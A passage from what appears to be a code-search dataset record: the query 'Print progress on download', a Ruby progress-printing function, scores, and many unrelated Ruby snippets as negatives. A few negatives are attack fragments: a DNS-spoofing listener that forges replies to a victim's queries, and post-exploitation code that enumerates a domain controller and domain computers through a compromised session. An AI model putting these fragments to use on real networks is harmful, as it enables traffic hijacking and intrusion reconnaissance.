v2.to_s.gsub(/<\\/?[^>]*>/, \"\").gsub(\"\\n\",\"<br />\") + '</td><td>' + vuln_data[:family] + '</td><td>' + k.to_s + '</td></tr>'\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t\tbody += '</tbody></table></div>'\n\t\t\t\tend\n\n\t\t\t\tif @options[:severity] <= 3 and values[:high].to_i > 0\n\n\t\t\t\t\tbody += '<div id=\"high\"><a name=\"High\"></a><h3>High</h3>'\n\n\t\t\t\t\tbody += '<table id=\"high_table\" class=\"display\"><thead><tr><th>Nessus ID</th><th>Name</th><th>Synopsis</th><th>Result</th><th>Family</th><th>Port</th></tr></thead><tbody>'\n\t\t\t\t\[email protected]_by{|k,v| v[:port].to_s}.each do |vuln_id,vuln_data|\n\t\t\t\t\t\tvuln_data[:ports].each {|k,v|\n\t\t\t\t\t\t\tv[:hosts].each do |h,v2|\n\t\t\t\t\t\t\t\tif h == id and vuln_data[:severity] == 3\n\t\t\t\t\t\t\t\t\tbody += '<tr><td><a href=\"vuln_' + vuln_id.to_s + '.html\">' + vuln_id.to_s + '</a></td><td>' + vuln_data[:plugin_name] + '</td><td>' + vuln_data[:synopsis] + '</td><td>' + v2.to_s.gsub(/<\\/?[^>]*>/, \"\").gsub(\"\\n\",\"<br />\") + '</td><td>' + vuln_data[:family] + '</td><td>' + k.to_s + '</td></tr>'\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t\tbody += '</tbody></table></div>'\n\t\t\t\tend\n\n\t\t\t\tif @options[:severity] <= 2 and values[:med].to_i > 0\n\n\t\t\t\t\tbody += '<div id=\"medium\"><a name=\"Medium\"></a><h3>Medium</h3>'\n\n\t\t\t\t\tbody += '<table id=\"medium_table\" class=\"display\"><thead><tr><th>Nessus ID</th><th>Name</th><th>Synopsis</th><th>Result</th><th>Family</th><th>Port</th></tr></thead><tbody>'\n\t\t\t\t\[email protected]_by{|k,v| v[:port].to_s}.each do |vuln_id,vuln_data|\n\t\t\t\t\t\tvuln_data[:ports].each {|k,v|\n\t\t\t\t\t\t\tv[:hosts].each do |h,v2|\n\t\t\t\t\t\t\t\tif h == id and vuln_data[:severity] == 2\n\t\t\t\t\t\t\t\t\tbody += '<tr><td><a href=\"vuln_' + vuln_id.to_s + '.html\">' + vuln_id.to_s + '</a></td><td>' + vuln_data[:plugin_name] + '</td><td>' + vuln_data[:synopsis] + '</td><td>' + v2.to_s.gsub(/<\\/?[^>]*>/, \"\").gsub(\"\\n\",\"<br />\") + '</td><td>' + vuln_data[:family] + '</td><td>' + k.to_s + '</td></tr>'\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t\tbody += '</tbody></table></div>'\n\n\t\t\t\tend\n\n\t\t\t\tif @options[:severity] <= 1 and values[:low].to_i > 0\n\n\t\t\t\t\tbody += '<div id=\"low\"><a name=\"Low\"></a><h3>Low</h3>'\n\n\t\t\t\t\tbody += '<table id=\"low_table\" class=\"display\"><thead><tr><th>Nessus ID</th><th>Name</th><th>Synopsis</th><th>Result</th><th>Family</th><th>Port</th></tr></thead><tbody>'\n\t\t\t\t\[email protected]_by{|k,v| v[:port].to_s}.each do |vuln_id,vuln_data|\n\t\t\t\t\t\tvuln_data[:ports].each {|k,v|\n\t\t\t\t\t\t\tv[:hosts].each do |h,v2|\n\t\t\t\t\t\t\t\tif h == id and vuln_data[:severity] == 1\n\t\t\t\t\t\t\t\t\tbody += '<tr><td><a href=\"vuln_' + vuln_id.to_s + '.html\">' + vuln_id.to_s + '</a></td><td>' + vuln_data[:plugin_name] + '</td><td>' + vuln_data[:synopsis] + '</td><td>' + v2.to_s.gsub(/<\\/?[^>]*>/, \"\").gsub(\"\\n\",\"<br />\") + '</td><td>' + vuln_data[:family] + '</td><td>' + k.to_s + '</td></tr>'\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t\tbody += '</tbody></table></div>'\n\t\t\t\tend\n\n\t\t\t\tif @options[:severity] <= 0 and values[:info].to_i > 0\n\n\t\t\t\t\tbody += '<div id=\"informational\"><a name=\"Informational\"></a><h3>Informational</h3>'\n\n\t\t\t\t\tbody += '<table id=\"informational_table\" class=\"display\"><thead><tr><th>Nessus ID</th><th>Name</th><th>Synopsis</th><th>Result</th><th>Family</th><th>Port</th></tr></thead><tbody>'\n\t\t\t\t\[email protected]_by{|k,v| v[:port].to_s}.each do |vuln_id,vuln_data|\n\t\t\t\t\t\tvuln_data[:ports].each {|k,v|\n\t\t\t\t\t\t\tv[:hosts].each do |h,v2|\n\t\t\t\t\t\t\t\tif h == id and vuln_data[:severity] == 0\n\t\t\t\t\t\t\t\t\tbody += '<tr><td><a href=\"vuln_' + vuln_id.to_s + '.html\">' + vuln_id.to_s + '</a></td><td>' + vuln_data[:plugin_name] + '</td><td>' + vuln_data[:synopsis] + '</td><td>' + v2.to_s.gsub(/<\\/?[^>]*>/, \"\").gsub(\"\\n\",\"<br />\") + '</td><td>' + vuln_data[:family] + '</td><td>' + k.to_s + '</td></tr>'\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t\tbody += '</tbody></table></div>'\n\t\t\t\tend\n\n\n\t\t\t\tbody += \"<script>$(document).ready(function() {\\n \";\n\t\t\t\tbody += \"$('#critical_table').dataTable({\\\"bPaginate\\\": false});\\n\" if @options[:severity] <= 4\n\t\t\t\tbody += \"$('#high_table').dataTable({\\\"bPaginate\\\": false});\\n\" if @options[:severity] <= 3\n\t\t\t\tbody += \"$('#medium_table').dataTable({\\\"bPaginate\\\": false});\\n\" if @options[:severity] <= 2\n\t\t\t\tbody += \"$('#low_table').dataTable({\\\"bPaginate\\\": false});\\n\" if @options[:severity] <= 1\n\t\t\t\tbody += \"$('#informational_table').dataTable({\\\"bPaginate\\\": false});\\n\" if @options[:severity] <= 0\n\t\t\t\tbody += \"});</script>\"\n\n\t\t\t\tbody += '</div></div>'\n\n\t\t\t\tbody_text(f,body)\n\n\t\t\t\tclose_all(f)\n\t\t\tend\n\t\tend\n\n\tend", "def compare_domain(args)\r\n server_list = args[:server_list]\r\n domain = args[:domain_name]\r\n rtype = args[:rtype]\r\n rdata = args[:actual_rdata]\r\n rdata = (rtype == \"NAPTR\") ? rdata : rdata.downcase\r\n r = \"\"\r\n failed_rlist = []\r\n @timeout = 30\r\n sleep 15 if args[:sleepfirst]\r\n server_list.each do |server|\r\n dig_pass = \"succeed to dig @#{server} #{domain} #{rtype} => #{rdata}\"\r\n dig = `dig @#{server} #{domain} #{rtype}`\r\n if dig.include?(rdata)\r\n puts dig_pass\r\n else\r\n puts \"dig @#{server} #{domain} #{rtype} failed as expected!\" if args[:expected_dig_fail]\r\n return \"succeed\" if args[:expected_dig_fail]\r\n begin\r\n Timeout::timeout(@timeout){\r\n while !dig.include?(rdata)\r\n sleep 5\r\n dig_retry = `dig @#{server} #{domain} #{rtype}`\r\n puts dig_pass if dig_retry.include?(rdata)\r\n break if dig_retry.include?(rdata)\r\n end\r\n }\r\n rescue Timeout::Error\r\n puts \"Error => dig @#{server} #{domain} #{rtype} timed out!\"\r\n failed_rlist << \"failed\"\r\n end\r\n end\r\n end\r\n failed_rlist.empty? ? 'succeed' : 'failed'\r\n end", "def create_cnames(domain, cname_records)\n account_id = ENV['DNSIMPLE_ACCOUNT']\n cname_records.each do |record|\n cname_name = record.name.chomp(\".#{domain}.\")\n cname_value = record.value.chomp('.')\n\n puts \"#{record.name} => #{record.value}\"\n $dns_client.zones.create_zone_record(account_id, domain, name: cname_name, type: \"cname\", content: cname_value)\n end\nend", "def dns; settings.components.dns.config end", "def get_host\n begin\n host=%x(/usr/sbin/dsconfigad -show | /usr/bin/awk '/Computer Account/ {print $4}').chomp\n return host\nrescue\n puts \"this machine must not be bound to AD.\\n try again.\"\nend\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n require 'pp'\n pp directors_database\n \nend", "def list_hosts(domain, compact_list_optional)\n validate_list([[\"Domain\", domain, :domain_format]])\n options = {\"Domain\" => domain}\n optional_fields = [ [\"compact_list_optional\", compact_list_optional] ]\n options = set_optional_fields(optional_fields, options)\n\n connection = Connection.new\n connection.post(\"Domain/Host/List\", options)\n end", "def check_domain_matches(drop)\n unless custom_domain_matches? drop\n puts [ '*' * 5,\n drop.data[:url].inspect,\n env['HTTP_HOST'].inspect,\n '*' * 5\n ].join(' ')\n\n not_found\n end\n end", "def dns\n @dns ||= Resolv::DNS.open\n end", "def gather_pollable_domains\n @logger.info 'CsyncJob Generate: Gathering current domain(s) data'\n Nameserver.select(:hostname_puny, :domain_id).all.each do |ns|\n %i[secure insecure].each do |i|\n @input_store[i][ns.hostname_puny] = [] unless @input_store[i].key? ns.hostname_puny\n end\n\n append_domains_to_list(ns)\n end\n end", "def get_domain(session)\n domain = \"\"\n ipv4_info = nil\n ipv6_info = nil\n begin\n subkey = \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\"\n v_name = \"DCName\"\n domain_dc = registry_getvaldata(subkey, v_name)\n rescue\n print_error(\"Could not determine if the host is part of a domain.\")\n end\n if (!domain_dc.nil?)\n # leys parse the information\n dom_info = domain_dc.split('.')\n domain = dom_info[1].upcase\n dc = domain_dc.gsub('\\\\\\\\','')\n print_good(\"Domain: #{domain}\")\n print_good(\"Domain Controller: #{dc}\")\n\n # Resolve IPv4 address\n begin\n ipv4_info = session.net.resolve.resolve_host(dc, AF_INET)\n print_good(\"IPv4: #{ipv4_info[:ip]}\")\n\n rescue\n print_status(\"Could not resolve IPv4 for #{dc}\")\n end\n\n # Resolve IPv6 address\n begin\n ipv6_info = session.net.resolve.resolve_host(dc, AF_INET6)\n print_good(\"IPv6: #{ipv6_info[:ip]}\")\n rescue\n print_status(\"Could not resolve IPv6 for #{dc}\")\n end\n\n else\n print_status \"Host is not part of a domain.\"\n end\nend", "def dmarc\n dns_name ? txt_hash(\"_dmarc.\" + dns_name) : {}\n end", "def print_ip_sites\n\t\tputs \"Print sites contain an IP instead of a host-name.\"\n\t\tsites=get_ip_sites\n\t\tsites.map { |x| puts x }\n\t\tputs \"End of report. \"\n\trescue => ee\n\t\tputs \"Exception on method #{__method__} \"\n\tend", "def records\n dns.getresources domain, Resolv::DNS::Resource::IN::MX\n end", "def fetch_zone\n \n # zone name pass from url\n zone_name = params[:src]\n # Record type, A or PTR\n record_type = params[:type]\n # zone name pass from url\n network_type = params[:net]\n \n # Output Buffer\n @o = ''\n \n if network_type == 'int'\n dns_zone = DnsZone.find_by_name(zone_name + \"-int\")\n else\n dns_zone = DnsZone.find_by_name(zone_name)\n end\n \n # If can't find the specified zone, we'll return with some useful text\n if dns_zone.nil?\n @o += \"; ##ERROR## Invalid zone name specified.\\n\"\n @o += \"; Valid names can be one of the following:\\n\"\n \n @o += DnsZone.find(:all, :order => :name, :select => :name).collect{|a| \"; \" + a.name}.join(\"\\n\")\n else\n # Our rules for dns record generation. \n # 1. Only generate a record once\n # 2. Generate record in closest zone defined.\n # 3. If nothing match, generate nothing.\n # 4. Record will be specified in absolute name, include the \".\" at the end\n # For ex: ads1.vip.sc9.yahoo.com should match zone, \"vip.sc9.yahoo.com\" first, if not found,\n # try sc9.yahoo.com, then yahoo.com, then .com. If no zone match, then this record is ignored.\n # @o += \"; Generated zone for #{zone_name} on #{Time.new.to_s}\\n\"\n # Dont think we need ORIGIN, will find out when deploy internal DNS\n #@o += \"$ORIGIN #{dns_zone.name}.\\n\"\n @o += \"$TTL #{dns_zone.my_ttl}\\n\"\n \n # In order to make sure we only generate one record, we actually have get all asset and zone\n # then put them in appropriate places. It kinda suck, but one http call can't get us multiple file\n # Unless we get everything into one file, then have the local script to parse it into multiple\n # files, but that sounds a bit too hacky. So instead, we let AST do the expensive work.\n\n # Alright, let's build the SOA first.\n @o += \"@ \\t IN \\t SOA #{dns_zone.my_soa} (\\n\"\n @o += \"\\t\\t\\t #{Time.new.to_i} \\t;serial\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_refresh} \\t;refresh\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_retry} \\t;retry\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_expire} \\t;expire\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_minimum} \\t;minimum\\n\"\n @o += \");\\n\"\n # NS\n for ns in dns_zone.my_dns_ns_records\n @o += \"\\t\\tNS\\t\\t#{ns.name}.\\n\" \n end\n # MX\n for mx in dns_zone.my_dns_mx_records\n @o += \"\\t\\tMX\\t\\t#{mx.priority} #{mx.name}.\\n\"\n end\n \n @o += \"\\n\"\n \n # use appropriate function for each type of record\n if record_type == 'a'\n \t# If master A record is not null, put it in here\n \tif ! dns_zone.mastera.nil?\n @o += \"\\t\\t\\t\\t#{dns_zone.mastera}\\n\\n\"\n end\n @o += fetch_dns_a(zone_name) \n elsif record_type == 'ptr'\n @o += fetch_dns_ptr(zone_name)\n end\n #@o += assets.collect{|a| a.primary_interface.ip_to_string rescue nil}.join(\"<br/>\")\n end\n \n render(:partial => \"output\",:object => @o) \n\n end", "def do_list(args)\n if args[\"zonename\"] == \"example.com\"\n @result = [\n record(\"example.com\", \"SOA\", \"sns.dns.icann.org noc.dns.icann.org 2013012485 7200 3600 1209600 3600\"),\n record(\"example.com\", \"NS\", \"sns.dns.icann.org\"),\n record_prio(\"example.com\", \"MX\", \"test.example.com\",10),\n record(\"test.example.com\", \"A\", \"127.0.0.1\")\n ]\n end\n end", "def parse_dns(dns_raw)\n dns_records = {}\n dns_raw.each do |line|\n arr = line.split(\", \")\n if(arr[0] == \"A\" || arr[0] == \"CNAME\")\n dns_records[arr[1]] = {:type => arr[0], :target => arr[2].strip}\n end\n end\n \n return dns_records\n end", "def index\n @dncs = Dnc.all.sort_by { |dnc| [Terr.find(dnc.terrid).region, dnc.street, dnc.number] }\n end", "def print_discovered_urls_by_crawler\t\t\n\t\tputs \"Print discovered url by the crawler. \" if @verbose\n\t\tbegin\n\t\t\tputs \"\\nSummary Report of Discovered URLs from the Crawler:\"\n\t\t\t@discovered_urls_by_crawler.keys.each do |url|\n\t\t\t\tputs url\n\t\t\tend\n\t\t\tputs \"Total: #{@discovered_urls_by_crawler.keys.size}\"\n\t\t\tputs \"End of the summary\"\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return nil\n end\n\tend", "def domain(domain)\n get(\"/dns/domain/#{domain}\")\n end", "def dns\n @gapi.dns_name\n end", "def display_concerts\n puts \"Here are the top U.S. music concerts:\"\n puts \" \"\n Concert.all.each do |concert|\n puts \"#{concert.id}. #{concert.title}\"\n end\n separator\n end", "def display_concerts\n puts \"Here are the top U.S. music concerts:\"\n puts \" \"\n Concert.all.each do |concert|\n puts \"#{concert.id}. #{concert.title}\"\n end\n separator\n end", "def dns_name\n [\"public\", fqdn].join(\".\")\n end", "def list(options)\n file = File.open(FILE_PATH, \"r\")\n servers = []\n file.each do |line|\n if line.include?(\"Host \")\n servers << line.sub('Host', '')\n end\n end\n file.close\n if servers.empty?\n PRINTER.print \"No aliases added\"\n else\n PRINTER.print \"Listing aliases:\"\n servers.each{|x| PRINTER.print \"\\t- #{x}\"}\n end\n finish_exec\n end", "def dns_responses\n decoded_responses = udp_packets_with_src_port(DNS_PORT).map { |p| Resolv::DNS::Message.decode(p.payload) }\n\n decoded_responses.each_with_object({}) do |response, memo|\n name = response.question.first.first.to_s\n memo[name] ||= []\n response.answer.each do |ans|\n case ans.last\n when Resolv::DNS::Resource::IN::CNAME\n memo[name] << ans.last.name\n when Resolv::DNS::Resource::IN::AAAA, Resolv::DNS::Resource::IN::A\n memo[name] << ans.last.address\n else\n puts ans.last\n end\n end\n end\n end", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n#nil =>这个是原来存在的,要把这个改了\n pp nds\n #这边也可以是pp directors_database,因为数据在那个DB里面\nend", "def externalNodes\n certname = params[:name]\n @host ||= resource_base.find_by_certname certname\n @host ||= resource_base.find_by_name certname\n not_found and return unless @host\n\n begin\n respond_to do |format|\n format.html { render :text => \"<pre>#{@host.info.to_yaml}</pre>\" }\n format.yml { render :text => @host.info.to_yaml }\n end\n rescue\n # failed\n logger.warn \"Failed to generate external nodes for #{@host} with #{$!}\"\n render :text => _('Unable to generate output, Check log files\\n'), :status => 412 and return\n end\n end", "def listen()\n\t\t\n\t\tputs \"Listening for dns traffic...\"\n\t\t#setup the filter to only grab dns traffic from the victim\n\t\tfilter = \"udp and port 53 and src \" + @victim_ip\n\n\t\t# Start packet sniffing\n cap = PacketFu::Capture.new(:iface => @ifname, :start => true,\n :promisc => true, :filter => filter, :save => true)\n cap.stream.each do |pkt|\n\n \t if PacketFu::UDPPacket.can_parse?(pkt) then\n packet = PacketFu::Packet.parse(pkt)\n\n dns_type = packet.payload[2].unpack('h*')[0].chr + \\\n packet.payload[3].unpack('h*')[0].chr\n\n\t\t\t\t\tif dns_type == '10' #not really ten, rather 1-0 (binnary) flag\n\n\t\t\t\t\t\tdomain_name = extract_domain_name(packet.payload[12..-1])\t\n\n\t\t\t\t\t # Check if domain name field is empty\n if domain_name.nil? then\n puts \"Empty domain name field\"\n next\n end # domain_name.nil?\n\n send_response(packet, domain_name)\n end\n end # UDPPacket.can_parse?\n end #end packet capturing\n end", "def get_domain_computers()\n\t\tcomputer_list = []\n\t\tdevisor = \"-------------------------------------------------------------------------------\\r\\n\"\n\t\traw_list = client.shell_command_token(\"net view\").split(devisor)[1]\n\t\tif raw_list =~ /The command completed successfully/\n\t\t\traw_list.sub!(/The command completed successfully\\./,'')\n\t\t\traw_list.gsub!(/\\\\\\\\/,'')\n\t\t\traw_list.split(\" \").each do |m|\n\t\t\t\tcomputer_list << m\n\t\t\tend\n\t\tend\n\n\t\treturn computer_list\n\tend", "def dnsbls\n @dnsbls.keys\n end", "def show_printers()\n list = Cups.show_destinations\n puts list.inspect\n end", "def dumpLookups()\r\n 79.times {print \"=\"}\r\n puts\r\n puts \"LOOKUP DUMP\".center(80)\r\n 79.times {print \"=\"}\r\n puts\r\n\r\n if(@lookups.length > 0)\r\n lookups = @lookups.sort\r\n lookups.each do |key, lookup|\r\n\r\n puts lookup.toGdlRef()\r\n\r\n end # lookups.each\r\n else\r\n puts \"No lookups to dump.\"\r\n end # if\r\n\r\n puts \"\"\r\n end" ]
[ "0.59976166", "0.5989048", "0.5979668", "0.58977747", "0.5892853", "0.5890244", "0.5858937", "0.58491373", "0.5819832", "0.5712884", "0.56561744", "0.5652796", "0.5642028", "0.5640359", "0.5639573", "0.559482", "0.559482", "0.55796057", "0.5541031", "0.5481562", "0.5472009", "0.5472009", "0.5472009", "0.5472009", "0.5472009", "0.54712206", "0.5461652", "0.5424552", "0.5422994", "0.54159963", "0.5414703", "0.54033136", "0.5392622", "0.5389435", "0.5389435", "0.53857327", "0.5371103", "0.5362491", "0.5341123", "0.53399974", "0.5338626", "0.5336688", "0.53244615", "0.53142655", "0.529771", "0.5292492", "0.5292089", "0.528583", "0.5282253", "0.5282253", "0.5258485", "0.5254868", "0.5252429", "0.524976", "0.5228682", "0.52073044", "0.5201642", "0.5195364", "0.5185952", "0.5179655", "0.5169635", "0.51686114", "0.51660043", "0.5160803", "0.51508844", "0.5150264", "0.51465464", "0.5134596", "0.51251906", "0.5124442", "0.51222366", "0.5120713", "0.51180446", "0.50974214", "0.50965875", "0.5079984", "0.50773776", "0.50737405", "0.5069388", "0.50657946", "0.5063251", "0.5053786", "0.5039725", "0.5036525", "0.5035123", "0.5031355", "0.5024988", "0.502178", "0.50189674", "0.50189674", "0.5018626", "0.5010744", "0.5005126", "0.5002137", "0.49955162", "0.49949583", "0.49945986", "0.4994358", "0.49923736", "0.49910527" ]
0.5954517
3
Print progress on download
def progress(size, file) print '.' sleep 1.5 print '.' sleep 1.5 print '.' sleep 1.5 percent = (File.size? file).to_f / size.to_f percent = percent * 100 percent = ((percent*20).round / 20.0) print "\e[1;37m#{percent}\e[0m%" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_progress\n @data[\"print_progress\"]\n end", "def show\n puts \"Downloading %s\" % @@clonePW['url'].to_s\n @@thread = download(@@clonePW['url'].to_s)\n @progress_web=@@clonePW\n @@start = Time.now\n\n end", "def progress; end", "def progress; end", "def progress; end", "def progress; end", "def progress; end", "def download_progress\n if File.exist?(bits_full_local_path_dl)\n if Dir.exist?(bits_full_local_path_unpacked)\n [100, 'Unpacking ...']\n else\n total_size = @location['size']\n dl_size = File.size(bits_full_local_path_dl)\n [((dl_size.to_f / total_size.to_f) * 100).to_i, \"#{dl_size / 1048576}MB out of #{total_size / 1048576}MB\"]\n end\n else\n if Dir.exist?(bits_full_local_path_unpacked) || File.exist?(bits_full_local_path)\n [100, 'Done']\n else\n [0, 'N/A']\n end\n end\n end", "def download_with_progbar(uri, filename, disp = '')\n pbar = nil\n file = File.new(filename, 'w')\n begin \n open(uri,\n :content_length_proc => lambda {|t|\n if t && 0 < t\n pbar = ProgressBar.new(disp, t)\n pbar.file_transfer_mode\n end\n },\n :progress_proc => lambda {|s|\n pbar.set s if pbar\n }) do |f|\n file.write(f.read)\n end\n rescue\n puts 'Error downloading file ' + $!\n end\nend", "def show_progress=(_arg0); end", "def progress(msg, nontty_log = T.unsafe(nil)); end", "def report_progress(progress, total, show_parts=true)\n if total && total > 0\n percent = (progress.to_f / total.to_f) * 100\n line = \"Progress: #{percent.to_i}%\"\n line << \" (#{progress} / #{total})\" if show_parts\n else\n line = \"Progress: #{progress}\"\n end\n\n info(line, :new_line => false)\n end", "def progress(url)\n @progress_url = url\n end", "def update_download_status size, length\n @current_byte ||= 0\n @previous_print ||= 0\n @current_byte += size\n\n if length\n pct = @current_byte * 100 / length\n pct = (pct / 5) * 5\n\n if pct != @previous_print\n @previous_print = pct\n status pct.to_s + '% '\n end\n else\n # server didn't supply a length, display running byte count?\n end\n end", "def indicate_progress\n end", "def update\n if( @@test.eql?(\"100.00\"))\n puts \"DOWNLOAD COMPLETE\"\n @@thread.exit\n render :partial => \"complete\", :locals => { :progress_int => @@test, :done_int =>@@done, :elapsed_int =>@@elapsed_int }\n return\n end\n\n @@test= \"%.2f\" % @@thread[:progress].to_f \n @@done= \"%d\" % @@thread[:done] \n now = Time.now\n elapsed =now - @@start\n @@elapsed_int=\"%d\" % elapsed\n render :partial => \"progress\", :locals => { :progress_int => @@test, :done_int =>@@done, :elapsed_int =>@@elapsed_int }\n end", "def show_progress\n\t\t\t# bar_size is between 0 and 30\n finish_size = (((@top_card-12).to_f / (@deck.length-11).to_f) * 30).to_i\n\t\t\tremain_size = 30 - finish_size\n\t\t\tprint \"\\nProgress: \"\n\t\t\tfinish_size.times {print '▓'}\n\t\t\tremain_size.times {print '░'}\n\t\t\tputs\n\t\t\tputs\n end", "def report_progress\n backup_size = (@backup.size + @backup.wal_file_size) / 1024 ** 2\n du = target_path_exists? ? target_path_disk_usage / 1024 ** 2 : 0\n percent = du.to_f / backup_size.to_f * 100\n percent = 100.0 if percent >= 100.0\n message = \"#{percent.to_i}% of Backup #{@backup.id} (#{@backup.server}) recovered\" \n at(percent.to_i, 100, message)\n @log.info(message)\n end", "def download_file(url, show_progress = false)\n if show_progress\n pbar = nil\n begin\n require 'progressbar'\n rescue LoadError => e\n Fog::Logger.warning \"progressbar rubygem not found. Install it for fancier progress.\"\n pbar = :noop\n end\n open(\n url,\n :content_length_proc => lambda { |total|\n if pbar != :noop\n if total && 0 < total\n pbar = ProgressBar.new(\"Downloading\", total)\n pbar.file_transfer_mode\n end\n end\n },\n :progress_proc => lambda { |read_size|\n if pbar != :noop\n pbar.set read_size if pbar\n else\n print \"\\rDownloading... #{\"%.2f\" % (read_size/1024.0**2)} MB\"\n end\n }\n )\n else\n open(url)\n end\n end", "def download_url\n process_emulation 10\n clear_progress_bar\n self.downloaded_at = Time.now.utc\n save! && ready!\n end", "def get_with_status(file, dest, options={})\n last = nil\n get file, dest, options do |channel, name, received, total|\n print \"\\r #{name}: #{(Float(received)/total*100).to_i}%\"\n print \"\\n\" if received == total\n end\nend", "def print_progress(current, total, started_at)\n if total.nil?\n print_progress_nosize(current, started_at)\n return\n end\n ratio = [current.to_f / total, 1.0].min\n percent = (ratio * 100.0).round(1)\n arrow = (ratio * 20.0).floor\n time_spent = Time.now.to_i - started_at\n print(\"\\r[\")\n print('=' * [arrow - 1, 0].max)\n print('>')\n print('.' * (20 - arrow))\n print(\"] #{pretty_filesize(current)}/#{pretty_filesize(total)} (#{percent}% at #{pretty_filesize(current.to_f / time_spent)}/s) \")\n end", "def progress_output\n arr = @progress.map do |key, value|\n \"#{key}: #{value}\\n\"\n end\n arr.join('')\n end", "def dump_progress(done, dumpfile)\n dump = Marshal.dump(done)\n open(dumpfile, 'wb') do |file|\n gzip = Zlib::GzipWriter.new(file)\n gzip.write(dump)\n gzip.close\n end\nend", "def progress(msg, nontty_log = :debug)\n send(nontty_log, msg) if nontty_log\n return unless show_progress\n icon = \"\"\n if defined?(::Encoding)\n icon = PROGRESS_INDICATORS[@progress_indicator] + \" \"\n end\n @mutex.synchronize do\n print(\"\\e[2K\\e[?25l\\e[1m#{icon}#{msg}\\e[0m\\r\")\n @progress_msg = msg\n if Time.now - @progress_last_update > 0.2\n @progress_indicator += 1\n @progress_indicator %= PROGRESS_INDICATORS.size\n @progress_last_update = Time.now\n end\n end\n Thread.new do\n sleep(0.05)\n progress(msg + \".\", nil) if @progress_msg == msg\n end\n end", "def progress()\n percent = (($ops / $total_ops) * 100).floor\n if (percent <= 99)\n $progress.progress = percent\n $ops += 1\n else\n $progress.finish\n end\nend", "def print_progress_bar_at i\n if (i%PROGRESSOR_SAMPLE_PERIOD == 0)\n print '.'\n $stdout.flush\n end\nend", "def progress\n data.progress\n end", "def download(event)\n info \"Finished downloading updates\"\n end", "def progress(percentage, description = nil)\n reply({:progress => percentage, :description => description}, {:message_type => 'progress'})\n end", "def progress=(_arg0); end", "def progress=(_arg0); end", "def progress=(_arg0); end", "def progress=(_arg0); end", "def progress(object)\n reporter.progress(object)\n end", "def progress_line; end", "def download\n Delayed::Job.enqueue(ExportJob.new(current_account))\n flash[:success] = _('Give us some time then check your email.')\n redirect_to export_pages_path\n end", "def http_download(host, dir, file, ofile, file_log)\n\t\t\tinfo \"* host: \" + host\n\t\t\tinfo \"* dir: \" + dir\n\t\t\tinfo \"* file: \" + file\n\t\t\tinfo \"* ofile: \" + ofile\n\t\t\t\n\t\t\thttp = Net::HTTP.start(host)\n\t\t\treq = Net::HTTP::Get.new(\"/\" + dir + \"/\" + file)\n\t\t\ttransferred = 0\n\t\t\thttp.request(req) do |resp|\n\t\t\t\tfilesize = resp.content_length\n\t\t\t\t\n\t\t\t\tif _check_download_size(ofile, filesize)\n\t\t\t\t\tpb = ProgressBar.new(file, 100)\n\t\t\t\t\tf = File.open(ofile, 'w')\n\t\t\t\t\tresp.read_body do |data|\n\t\t\t\t\t\tif data\n\t\t\t\t\t\t\ttransferred += data.size\n\t\t\t\t\t\t\tif(transferred != 0)\n\t\t\t\t\t\t\t\tpercent_finished = 100 * (transferred.to_f / filesize.to_f)\n\t\t\t\t\t\t\t\tpb.set(percent_finished)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tf.write(data)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\terror \"data returned by server is empty!\"\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tf.close\n\t\t\t\t\tpb.finish\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def show_progress(collection, say=\"Progress\", &block)\n progress_bar = ProgressBar.new say, collection.count\n\n collection.each do |thing|\n block.call thing\n progress_bar.increment\n end\n\n puts # distinguish progress_bar output from other output\nend", "def describe_progress\n if @options[:num]\n \"#{@messages.size} of #{@options[:num]} message#{'s' if @messages.size!=1} collected\"\n else\n \"#{@messages.size} message#{'s' if @messages.size!=1} collected\"\n end \n end", "def run\n fetcher = Outatime::Fetcher.new(options)\n\n pb = ProgressBar.create(total: nil,\n format: \"%t: |%B| %f %c/%C %R MB/sec\",\n rate_scale: lambda { |rate| rate / 1024 / 1024 },\n throttle_rate: 0.5)\n\n fetcher.fetch! do |file|\n pb.progress += file.size\n end\n end", "def progressable; end", "def download_file(url, filename, start = 0) \n # Define some default values\n uri = URI.parse(url)\n len = start\n size = start\n perc = 0\n header = {\n 'User-Agent' => \"A tiny script in ruby to fetch your videos :) - But don't worry a user is also there.\",\n }\n header['Range'] = \"bytes=#{start}-\" if start > 0\n start = DateTime.now.strftime('%s').to_i\n begin\n # Open the target file\n File.open(filename, 'a') do |file|\n # Start the download\n h = Net::HTTP.new uri.host, uri.port\n getfile = uri.path\n getfile << '?' << uri.query if not uri.query.nil?\n h.request_get(getfile, header) do |r| \n # If there is a redirect header follow it and continue downloading there\n return download_file(r['location'], filename) if r.key? 'location'\n # Read the download size\n len = len + r.content_length if not r.content_length.nil?\n r.read_body do |s| \n # Write the downloded part to the file\n file.write s if not /2[0-9][0-9]/.match(r.code).nil?\n file.flush\n # Calculate downloaded size\n size = size + s.length\n len = size if r.content_length.nil?\n # Do some calculations for the nice status line\n perc = (size.to_f / len.to_f * 100).to_i if len > 0\n lines = (perc / 